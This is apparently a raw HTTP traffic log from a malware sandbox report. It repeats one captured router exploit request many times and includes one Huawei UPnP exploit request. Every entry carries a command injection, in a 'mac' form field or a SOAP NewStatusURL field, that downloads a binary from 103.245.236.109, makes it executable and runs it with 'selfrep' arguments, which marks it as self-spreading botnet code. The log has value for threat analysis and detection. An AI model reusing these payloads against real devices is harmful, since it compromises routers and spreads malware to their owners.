Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 20 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.245.236.109 -l /tmp/linux -r /skyljne.mips; /bin/busybox chmod 777 /tmp/linux; /tmp/linux selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: 